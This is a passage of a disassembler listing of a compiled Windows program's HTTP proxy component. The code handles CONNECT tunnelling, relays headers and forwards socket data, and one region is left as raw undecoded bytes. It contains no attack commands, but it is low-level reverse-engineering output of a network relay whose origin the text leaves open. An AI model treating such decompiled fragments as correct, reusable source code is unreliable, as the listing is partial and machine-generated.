push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 24h
pop edi
pop esi
pop ebp
pop ebx
retn
sub_429330 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429450 proc near ; CODE XREF: sub_401893j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429450
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push esi
mov esi, ecx
mov [esp+2Ch+var_28], esi
call sub_401FA0
lea ecx, [esi+0A1h]
mov [esp+2Ch+var_4], 0
call sub_40142E
push 0
push 2Ah
push 2Eh
push 2Eh
lea eax, [esp+3Ch+var_24]
push 22h
push eax
mov byte ptr [esp+44h+var_4], 1
mov dword ptr [esi], offset off_43F14C
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+2Ch+var_4], 2
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4015E1
lea ecx, [esp+2Ch+var_24]
mov byte ptr [esp+2Ch+var_4], 1
call sub_401226
mov ecx, [esp+2Ch+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 28h
retn
sub_429450 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429510 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BE5
test [esp+4+arg_0], 1
jz short loc_429528
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_429528: ; CODE XREF: sub_429510+Dj
mov eax, esi
pop esi
retn 4
sub_429510 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429540 proc near ; CODE XREF: sub_401BE5j
push esi
mov esi, ecx
push edi
mov edi, dword_511C9C
mov eax, [esi+0BFh]
mov dword ptr [esi], offset off_43F14C
cmp eax, 0FFFFFFFFh
jz short loc_42955E
push eax
call edi ; closesocket
loc_42955E: ; CODE XREF: sub_429540+19j
mov eax, [esi+0BBh]
cmp eax, 0FFFFFFFFh
jz short loc_42956C
push eax
call edi ; closesocket
loc_42956C: ; CODE XREF: sub_429540+27j
lea ecx, [esi+0A1h]
call sub_401226
mov ecx, esi
call sub_4017A8
pop edi
pop esi
retn
sub_429540 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4295B0: ; CODE XREF: ___:loc_401D3Ej
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43CDB2
push eax
mov eax, 5488h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov ebp, ecx
or esi, 0FFFFFFFFh
push edi
mov [ebp+0BFh], esi
mov byte ptr [esp+11h], 0
mov byte ptr [esp+12h], 0
loc_4295E8: ; CODE XREF: ___:0042A576j
lea ecx, [esp+0B8h]
call sub_401B4A
lea ecx, [esp+14h]
mov dword ptr [esp+54A0h], 0
mov byte ptr [esp+13h], 0
call sub_40142E
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+398h]
push 104h
push eax
push ecx
mov byte ptr [esp+54B0h], 1
call sub_401280
add esp, 10h
test al, al
jz loc_42A600
lea edx, [esp+394h]
lea ecx, [esp+30h]
push edx
call sub_401870
push offset byte_448F40
lea ecx, [esp+34h]
mov byte ptr [esp+54A4h], 2
call sub_4012EE
test eax, eax
jnz short loc_4296A0
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
jmp loc_42A570
; ---------------------------------------------------------------------------
loc_4296A0: ; CODE XREF: ___:00429664j
push offset asc_444600 ; " "
lea eax, [esp+234h]
push 0
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset off_44721C
mov ecx, eax
mov byte ptr [esp+54A4h], 3
call sub_40150A
test eax, eax
lea ecx, [esp+230h]
mov byte ptr [esp+54A0h], 2
setz bl
call sub_401226
test bl, bl
jz short loc_429765
push offset asc_444600 ; " "
lea ecx, [esp+21Ch]
push 1
push ecx
lea ecx, [esp+3Ch]
mov byte ptr [esp+1Fh], 1
call sub_4016B8
lea edx, [esp+0B8h]
mov ecx, eax
push edx
mov byte ptr [esp+54A4h], 4
call sub_4017EE
push eax
call sub_401947
add esp, 8
lea ecx, [esp+218h]
test al, al
setz bl
mov byte ptr [esp+54A0h], 2
call sub_401226
test bl, bl
jnz loc_42A5EF
push offset aHttp ; "http"
lea ecx, [esp+0BCh]
call sub_4012EE
test eax, eax
jnz loc_42A5EF
jmp loc_42995A
; ---------------------------------------------------------------------------
loc_429765: ; CODE XREF: ___:004296E7j
push offset asc_444600 ; " "
lea eax, [esp+24Ch]
push 0
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset aConnect_0 ; "CONNECT"
mov ecx, eax
mov byte ptr [esp+54A4h], 5
call sub_40150A
test eax, eax
lea ecx, [esp+248h]
mov byte ptr [esp+54A0h], 2
setz bl
call sub_401226
test bl, bl
jz loc_42995A
push offset aConnect ; "connect"
lea ecx, [esp+0BCh]
mov byte ptr [esp+17h], 0
call sub_4015E1
push offset byte_448F40
lea ecx, [esp+114h]
call sub_4015E1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch]
push 1
push ecx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C74 ; ":"
lea edx, [esp+174h]
push 0
push edx
mov ecx, eax
mov byte ptr [esp+54ACh], 6
call sub_4016B8
push eax
lea ecx, [esp+0D1h]
mov byte ptr [esp+54A4h], 7
call sub_401FDC
lea ecx, [esp+170h]
mov byte ptr [esp+54A0h], 6
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+54A0h], 2
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+27Ch]
push 1
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C74 ; ":"
lea ecx, [esp+1A4h]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+54ACh], 8
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 9
call sub_4017EE
test eax, eax
lea ecx, [esp+1A0h]
mov byte ptr [esp+54A0h], 8
setz bl
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+54A0h], 2
call sub_401226
test bl, bl
jnz loc_42A5EF
push offset asc_444600 ; " "
lea edx, [esp+264h]
push 1
push edx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C74 ; ":"
lea ecx, [esp+1D4h]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+54ACh], 0Ah
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 0Bh
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+1D0h]
mov [esp+10Ch], eax
mov byte ptr [esp+54A0h], 0Ah
call sub_401226
lea ecx, [esp+260h]
mov byte ptr [esp+54A0h], 2
call sub_401226
mov eax, [esp+10Ch]
test eax, eax
jnz short loc_42995A
mov dword ptr [esp+10Ch], 50h
loc_42995A: ; CODE XREF: ___:00429760j
; ___:004297ACj ...
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 0
push edx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset byte_448F40
lea ecx, [esp+4Ch]
mov byte ptr [esp+54A4h], 0Ch
call sub_4012EE
test eax, eax
jz loc_42A5DE
push offset asc_444600 ; " "
lea eax, [esp+64h]
push 2
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset byte_448F40
lea ecx, [esp+64h]
mov byte ptr [esp+54A4h], 0Dh
call sub_4012EE
test eax, eax
jz loc_42A5CD
lea ecx, [esp+0CDh]
push ecx
lea ecx, [esp+8Ch]
call sub_4014D3
mov ecx, 1000h
xor eax, eax
lea edi, [esp+498h]
or ebx, 0FFFFFFFFh
rep stosd
mov edi, offset aHttprox ; "HTTPROX"
mov ecx, ebx
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+4498h]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte ptr [esp+54A0h], 0Eh
shr ecx, 2
rep movsd
mov ecx, eax
lea eax, [esp+4498h]
and ecx, 3
rep movsb
mov esi, offset asc_4471F4 ; "\r\n"
loc_429A21: ; CODE XREF: ___:00429A3Fj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429A45
test cl, cl
jz short loc_429A41
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429A45
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429A21
loc_429A41: ; CODE XREF: ___:00429A2Bj
xor eax, eax
jmp short loc_429A49
; ---------------------------------------------------------------------------
loc_429A45: ; CODE XREF: ___:00429A27j
; ___:00429A35j
sbb eax, eax
sbb eax, ebx
loc_429A49: ; CODE XREF: ___:00429A43j
test eax, eax
jz loc_429B23
mov edi, dword_511AD8
loc_429A57: ; CODE XREF: ___:00429B1Dj
mov esi, offset byte_448F40
lea eax, [esp+4498h]
loc_429A63: ; CODE XREF: ___:00429A81j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429A87
test cl, cl
jz short loc_429A83
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429A87
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429A63
loc_429A83: ; CODE XREF: ___:00429A6Dj
xor eax, eax
jmp short loc_429A8B
; ---------------------------------------------------------------------------
loc_429A87: ; CODE XREF: ___:00429A69j
; ___:00429A77j
sbb eax, eax
sbb eax, ebx
loc_429A8B: ; CODE XREF: ___:00429A85j
test eax, eax
jz loc_429B23
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+449Ch]
push 1000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_42A629
lea edx, [esp+4498h]
push 4000h
lea eax, [esp+49Ch]
push edx
push eax
call edi ; strncat
push 4000h
lea ecx, [esp+4A8h]
push offset asc_4471F4 ; "\r\n"
push ecx
call edi ; strncat
add esp, 18h
mov esi, offset asc_4471F4 ; "\r\n"
lea eax, [esp+4498h]
loc_429AF3: ; CODE XREF: ___:00429B11j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429B17
test cl, cl
jz short loc_429B13
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429B17
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429AF3
loc_429B13: ; CODE XREF: ___:00429AFDj
xor eax, eax
jmp short loc_429B1B
; ---------------------------------------------------------------------------
loc_429B17: ; CODE XREF: ___:00429AF9j
; ___:00429B07j
sbb eax, eax
sbb eax, ebx
loc_429B1B: ; CODE XREF: ___:00429B15j
test eax, eax
jnz loc_429A57
loc_429B23: ; CODE XREF: ___:00429A4Bj
; ___:00429A8Dj
mov esi, dword_511B04
lea eax, [esp+498h]
push offset aProxyConnectio ; "Proxy-Connection:"
push eax
call esi ; strstr
add esp, 8
test eax, eax
jz short loc_429B77
push offset asc_444C74 ; ":"
push eax
call esi ; strstr
add esp, 8
inc eax
jz short loc_429B77
cmp byte ptr [eax], 20h
jnz short loc_429B5B
loc_429B52: ; CODE XREF: ___:00429B59j
mov cl, [eax+1]
inc eax
cmp cl, 20h
jz short loc_429B52
loc_429B5B: ; CODE XREF: ___:00429B50j
push offset aKeepAlive ; "Keep-Alive"
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz short loc_429B77
mov byte ptr [ebp+0BAh], 1
jmp short loc_429B7E
; ---------------------------------------------------------------------------
loc_429B77: ; CODE XREF: ___:00429B3Dj
; ___:00429B4Bj ...
mov byte ptr [ebp+0BAh], 0
loc_429B7E: ; CODE XREF: ___:00429B75j
cmp [ebp+0BFh], ebx
jnz loc_429C16
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, ebx
mov [ebp+0BFh], eax
jz loc_42A6FD
mov edx, [esp+10Ch]
xor ecx, ecx
mov [esp+78h], ecx
push edx
mov [esp+80h], ecx
mov word ptr [esp+7Ch], 2
mov [esp+84h], ecx
mov [esp+88h], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esp+0CDh]
mov [esp+7Ah], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
cmp eax, ebx
mov [esp+7Ch], eax
jz loc_42A63B
mov ecx, [ebp+0BFh]
lea eax, [esp+78h]
push 10h
push eax
push ecx
nop
call near ptr 71AB406Ah
cmp eax, ebx
jz loc_42A698
loc_429C16: ; CODE XREF: ___:00429B84j
mov al, [esp+13h]
test al, al
jz loc_42A2BE
mov al, [ebp+0BAh]
test al, al
jz short loc_429C61
lea edx, [esp+498h]
lea ecx, [esp+60h]
push edx
call sub_4017EE
push eax
lea ecx, [esp+118h]
call sub_4017EE
push eax
lea ecx, [esp+54h]
call sub_4017EE
push eax
lea eax, [esp+24h]
push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s"
push eax
jmp short loc_429C94
; ---------------------------------------------------------------------------
loc_429C61: ; CODE XREF: ___:00429C2Aj
lea ecx, [esp+498h]
push ecx
lea ecx, [esp+64h]
call sub_4017EE
push eax
lea ecx, [esp+118h]
call sub_4017EE
push eax
lea ecx, [esp+54h]
call sub_4017EE
push eax
lea edx, [esp+24h]
push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s"
push edx
loc_429C94: ; CODE XREF: ___:00429C5Fj
call sub_40102D
add esp, 18h
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
push eax
mov eax, [ebp+0BFh]
push eax
nop
call near ptr 71AB428Ah
test eax, eax
jz loc_42A6E2
cmp eax, ebx
jz loc_42A6E2
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+49Ch]
push 4000h
push ecx
push edx
call sub_401280
add esp, 10h
test al, al
jz loc_42A70F
mov edi, offset asc_4471F4 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+49Ch]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
xor ebx, ebx
mov esi, offset asc_4471F4 ; "\r\n"
mov [esp+2Ch], ebx
lea eax, [esp+498h]
loc_429D5E: ; CODE XREF: ___:00429D7Cj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429D82
test cl, cl
jz short loc_429D7E
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429D82
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429D5E
loc_429D7E: ; CODE XREF: ___:00429D68j
xor eax, eax
jmp short loc_429D87
; ---------------------------------------------------------------------------
loc_429D82: ; CODE XREF: ___:00429D64j
; ___:00429D72j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_429D87: ; CODE XREF: ___:00429D80j
test eax, eax
jz loc_42A109
loc_429D8F: ; CODE XREF: ___:0042A0F8j
mov esi, offset byte_448F40
lea eax, [esp+498h]
loc_429D9B: ; CODE XREF: ___:00429DBDj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_429DC3
test cl, cl
jz short loc_429DBF
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_429DC3
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429D9B
loc_429DBF: ; CODE XREF: ___:00429DA7j
xor eax, eax
jmp short loc_429DC8
; ---------------------------------------------------------------------------
loc_429DC3: ; CODE XREF: ___:00429DA3j
; ___:00429DB3j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_429DC8: ; CODE XREF: ___:00429DC1j
test eax, eax
jz loc_42A105
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+49Ch]
push 4000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_42A100
lea edx, [esp+498h]
lea ecx, [esp+0A0h]
push edx
call sub_401870
push offset asc_444600 ; " "
lea eax, [esp+204h]
push 0
push eax
lea ecx, [esp+0ACh]
mov byte ptr [esp+54ACh], 0Fh
call sub_4016B8
push offset aContentLength ; "Content-Length:"
mov ecx, eax
mov byte ptr [esp+54A4h], 10h
call sub_40150A
test eax, eax
lea ecx, [esp+200h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429EAA
push offset asc_444600 ; " "
lea ecx, [esp+144h]
push 1
push ecx
lea ecx, [esp+0ACh]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 11h
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+140h]
mov [esp+2Ch], eax
mov byte ptr [esp+54A0h], 0Fh
call sub_401226
loc_429EAA: ; CODE XREF: ___:00429E5Cj
push offset asc_444600 ; " "
lea edx, [esp+15Ch]
push 0
push edx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aTransferEncodi ; "Transfer-Encoding:"
mov ecx, eax
mov byte ptr [esp+54A4h], 12h
call sub_40150A
test eax, eax
lea ecx, [esp+158h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429F39
push offset asc_444600 ; " "
lea eax, [esp+18Ch]
push 1
push eax
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aChunked ; "chunked"
mov ecx, eax
mov byte ptr [esp+54A4h], 13h
call sub_40150A
lea ecx, [esp+188h]
mov byte ptr [esp+54A0h], 0Fh
call sub_401226
loc_429F39: ; CODE XREF: ___:00429EF4j
push offset asc_444600 ; " "
lea ecx, [esp+1BCh]
push 0
push ecx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aConnection ; "Connection:"
mov ecx, eax
mov byte ptr [esp+54A4h], 14h
call sub_40150A
test eax, eax
lea ecx, [esp+1B8h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429FD4
push offset asc_444600 ; " "
lea edx, [esp+1ECh]
push 1
push edx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aKeepAlive ; "Keep-Alive"
mov ecx, eax
mov byte ptr [esp+54A4h], 15h
call sub_40150A
test eax, eax
lea ecx, [esp+1E8h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
setnz byte ptr [esp+11h]
loc_429FD4: ; CODE XREF: ___:00429F83j
mov esi, offset asc_4471F4 ; "\r\n"
lea eax, [esp+498h]
loc_429FE0: ; CODE XREF: ___:0042A002j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42A008
test cl, cl
jz short loc_42A004
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42A008
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429FE0
loc_42A004: ; CODE XREF: ___:00429FECj
xor eax, eax
jmp short loc_42A00D
; ---------------------------------------------------------------------------
loc_42A008: ; CODE XREF: ___:00429FE8j
; ___:00429FF8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A00D: ; CODE XREF: ___:0042A006j
test eax, eax
jz loc_42A0A9
mov esi, offset byte_448F40
lea eax, [esp+498h]
loc_42A021: ; CODE XREF: ___:0042A043j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42A049
test cl, cl
jz short loc_42A045
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42A049
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42A021
loc_42A045: ; CODE XREF: ___:0042A02Dj
xor eax, eax
jmp short loc_42A04E
; ---------------------------------------------------------------------------
loc_42A049: ; CODE XREF: ___:0042A029j
; ___:0042A039j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A04E: ; CODE XREF: ___:0042A047j
test eax, eax
jz short loc_42A0A9
mov edi, offset asc_4471F4 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+49Ch]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
call near ptr 71AB428Ah
nop
loc_42A0A9: ; CODE XREF: ___:0042A00Fj
; ___:0042A050j
lea ecx, [esp+0A0h]
mov byte ptr [esp+54A0h], 0Eh
call sub_401226
mov esi, offset asc_4471F4 ; "\r\n"
lea eax, [esp+498h]
loc_42A0C9: ; CODE XREF: ___:0042A0EBj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42A0F1
test cl, cl
jz short loc_42A0ED
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42A0F1
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42A0C9
loc_42A0ED: ; CODE XREF: ___:0042A0D5j
xor eax, eax
jmp short loc_42A0F6
; ---------------------------------------------------------------------------
loc_42A0F1: ; CODE XREF: ___:0042A0D1j
; ___:0042A0E1j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A0F6: ; CODE XREF: ___:0042A0EFj
test eax, eax
jnz loc_429D8F
jmp short loc_42A105
; ---------------------------------------------------------------------------
loc_42A100: ; CODE XREF: ___:00429DF0j
mov byte ptr [esp+12h], 1
loc_42A105: ; CODE XREF: ___:00429DCAj
; ___:0042A0FEj
mov ebx, [esp+2Ch]
loc_42A109: ; CODE XREF: ___:00429D89j
mov al, [esp+11h]
push 0
test al, al
jz short loc_42A131
mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [ebp+0BBh]
not ecx
dec ecx
push ecx
push offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
push eax
jmp short loc_42A14D
; ---------------------------------------------------------------------------
loc_42A131: ; CODE XREF: ___:0042A111j
mov edi, offset aConnectionClos ; "Connection: Close\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, [ebp+0BBh]
push offset aConnectionClos ; "Connection: Close\r\n"
push ecx
loc_42A14D: ; CODE XREF: ___:0042A12Fj
nop
call near ptr 71AB428Ah
mov edi, offset asc_4471F4 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, [ebp+0BBh]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
lea ecx, [esp+4A0h]
push ecx
push edx
call near ptr 71AB428Ah
nop
test ebx, ebx
jz loc_42A27C
xor edi, edi
test ebx, ebx
jle short loc_42A204
loc_42A1B3: ; CODE XREF: ___:0042A202j
mov eax, ebx
sub eax, edi
cmp eax, 4000h
jbe short loc_42A204
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+49Ch]
push 4000h
push ecx
push edx
nop
call near ptr 71AB615Ah
mov esi, eax
cmp esi, 1
jl short loc_42A204
cmp esi, 0FFFFFFFFh
jz short loc_42A204
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+49Ch]
push esi
push eax
push ecx
nop
call near ptr 71AB428Ah
add edi, esi
cmp edi, ebx
jl short loc_42A1B3
loc_42A204: ; CODE XREF: ___:0042A1B1j
; ___:0042A1BCj ...
mov eax, ebx
sub eax, edi
jz short loc_42A24E
loc_42A20A: ; CODE XREF: ___:0042A24Cj
push 0
push eax
mov eax, [ebp+0BFh]
lea edx, [esp+4A0h]
push edx
push eax
nop
call near ptr 71AB615Ah
mov esi, eax
cmp esi, 1
jl short loc_42A24E
cmp esi, 0FFFFFFFFh
jz short loc_42A24E
mov edx, [ebp+0BBh]
push 0
lea ecx, [esp+49Ch]
push esi
push ecx
push edx
call near ptr 71AB428Ah
nop
add edi, esi
mov eax, ebx
sub eax, edi
jnz short loc_42A20A
loc_42A24E: ; CODE XREF: ___:0042A208j
; ___:0042A227j ...
mov al, [ebp+0BAh]
test al, al
jnz loc_42A4DF
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
or esi, 0FFFFFFFFh
mov byte ptr [esp+12h], 1
mov [ebp+0BBh], esi
jmp loc_42A4E2
; ---------------------------------------------------------------------------
loc_42A27C: ; CODE XREF: ___:0042A1A7j
mov esi, dword_511CA4
loc_42A282: ; CODE XREF: ___:0042A2BCj
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+49Ch]
push 4000h
push eax
push ecx
call esi ; recv
cmp eax, 1
jl short loc_42A24E
cmp eax, 0FFFFFFFFh
jz short loc_42A24E
push 0
push eax
mov eax, [ebp+0BBh]
lea edx, [esp+4A0h]
push edx
push eax
nop
call near ptr 71AB428Ah
jmp short loc_42A282
; ---------------------------------------------------------------------------
loc_42A2BE: ; CODE XREF: ___:00429C1Cj
lea ecx, [esp+14h]
push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
test eax, eax
jz loc_42A782
cmp eax, ebx
jz loc_42A782
mov ebx, dword_511CA4
mov eax, [ebp+0BBh]
mov edx, [ebp+0BFh]
mov [esp+294h], eax
mov dword ptr [esp+290h], 1
xor eax, eax
lea ecx, [esp+294h]
loc_42A330: ; CODE XREF: ___:0042A33Bj
cmp [ecx], edx
jz short loc_42A33D
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A330
loc_42A33D: ; CODE XREF: ___:0042A332j
cmp eax, 1
jnz short loc_42A354
mov [esp+298h], edx
mov dword ptr [esp+290h], 2
loc_42A354: ; CODE XREF: ___:0042A340j
mov ecx, 1000h
xor eax, eax
lea edi, [esp+498h]
push eax
rep stosd
push eax
lea ecx, [esp+298h]
push eax
push ecx
push eax
call near ptr 71AB2DC0h
nop
mov eax, [ebp+0BBh]
lea edx, [esp+290h]
push edx
push eax
call sub_438256
; ---------------------------------------------------------------------------
dw 0C085h
dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h
dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
dd 0DE72h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h
dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 71689E6Ah
dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h
dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F02AE890h, 333D7168h
dd 75000027h, 0E8016A0Dh, 2405B40h, 0FE43E990h, 858BFFFFh
dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_42A4DF: ; CODE XREF: ___:0042A256j
or esi, 0FFFFFFFFh
loc_42A4E2: ; CODE XREF: ___:0042A277j
mov al, [esp+11h]
test al, al
jnz short loc_42A502
mov edx, [ebp+0BFh]
push edx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
mov byte ptr [esp+12h], 1
loc_42A502: ; CODE XREF: ___:0042A4E8j
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
or esi, 0FFFFFFFFh
